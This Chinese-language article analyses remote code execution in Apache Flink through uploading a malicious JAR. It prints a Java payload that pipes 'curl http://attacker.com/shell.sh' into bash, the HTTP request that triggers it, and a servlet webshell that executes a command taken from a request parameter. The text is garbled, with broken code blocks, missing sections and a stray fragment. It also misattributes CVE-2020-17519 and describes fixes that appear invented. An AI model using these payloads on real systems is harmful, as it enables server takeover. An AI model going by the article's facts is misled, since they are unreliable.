# Apache Flink任意JAR包上傳導致遠程代碼執行的示例分析
## 一、漏洞背景與影響范圍
Apache Flink作為一款開源的流處理框架,在大數據處理領域有著廣泛應用。2020年前后,安全研究人員發現多個版本(包括1.9.x至1.11.x)的Flink存在通過Web控制臺上傳惡意JAR包導致遠程代碼執行(RCE)的安全漏洞。該漏洞編號為CVE-2020-17519,CVSS評分高達9.8,屬于嚴重級別漏洞。
**漏洞本質**:未授權攻擊者可通過Flink的Web接口上傳包含惡意代碼的JAR包,并誘導服務端執行,最終獲取服務器控制權限。這種攻擊方式完全避開認證機制,在默認配置下即可利用。
## 二、漏洞原理深入分析
### 2.1 Flink的JAR包處理機制
Flink允許用戶通過REST API或Web UI提交JAR包進行作業部署。核心處理流程包括:
1. **JAR上傳接口**:`/jars/upload`(POST請求)
2. **JAR執行接口**:`/jars/:jarid/run`(帶參數觸發main方法)
```java
// 偽代碼展示Flink的JAR處理邏輯
public class JarUploadHandler {
public Response handleUpload(Request request) {
String uploadPath = System.getProperty("java.io.tmpdir");
JarFile jarFile = saveUploadedFile(request, uploadPath); // 未做安全檢查
return Response.ok(jarFile.getId());
}
}
// 存在問題的JAR執行代碼片段
ClassLoader cl = new URLClassLoader(jarUrls, parentClassLoader);
Class<?> entryClass = Class.forName(className, true, cl);
Method mainMethod = entryClass.getMethod("main", String[].class);
mainMethod.invoke(null, (Object) args); // 危險操作!
使用Vulhub靶場快速搭建漏洞環境:
docker-compose up -d flink:1.11.2
創建包含惡意代碼的JAR包示例:
// EvilClass.java
public class EvilClass {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash");
}
}
編譯打包:
javac EvilClass.java
jar cvf evil.jar EvilClass.class
[惡意JAR文件內容]
2. **觸發執行**:
```http
POST /jars/evil.jar/run HTTP/1.1
Host: target:8081
Content-Type: application/json
{"entryClass":"EvilClass"}
通過JAR包加載Webshell內存馬:
public class MemShell extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
String cmd = req.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
// ...輸出結果處理...
} catch (Exception e) { /* 錯誤處理 */ }
}
}
../
路徑穿越Flink官方在1.12.0版本中進行了多重修復: 1. 默認啟用Kerberos認證 2. 增加JAR文件內容校驗 3. 限制可執行類路徑
// 修復后的安全校驗
if (!className.startsWith("org.apache.flink")) {
throw new SecurityException("Forbidden class loading");
}
對于無法立即升級的用戶: 1. 啟用網絡隔離 2. 配置反向代理認證 3. 禁用REST API接口
# Nginx認證配置示例
location /jars {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}
與其他大數據組件漏洞的異同:
系統 | 漏洞類型 | 利用方式 | CVSS評分 |
---|---|---|---|
Apache Flink | JAR上傳RCE | Web接口直接利用 | 9.8 |
Apache Spark | 反序列化RCE | 需要認證 | 8.8 |
Hadoop YARN | 命令注入 | 需配置參數 | 7.2 |
通過對該漏洞的深入分析,我們可以得出以下結論:
推薦加固方案: - 啟用Flink的SSL/TLS加密 - 部署網絡ACL限制訪問源 - 定期進行安全審計
”`
注:本文為技術分析文章,所有實驗操作請在合法授權環境下進行。實際漏洞利用可能涉及法律風險,請務必遵守當地法律法規。
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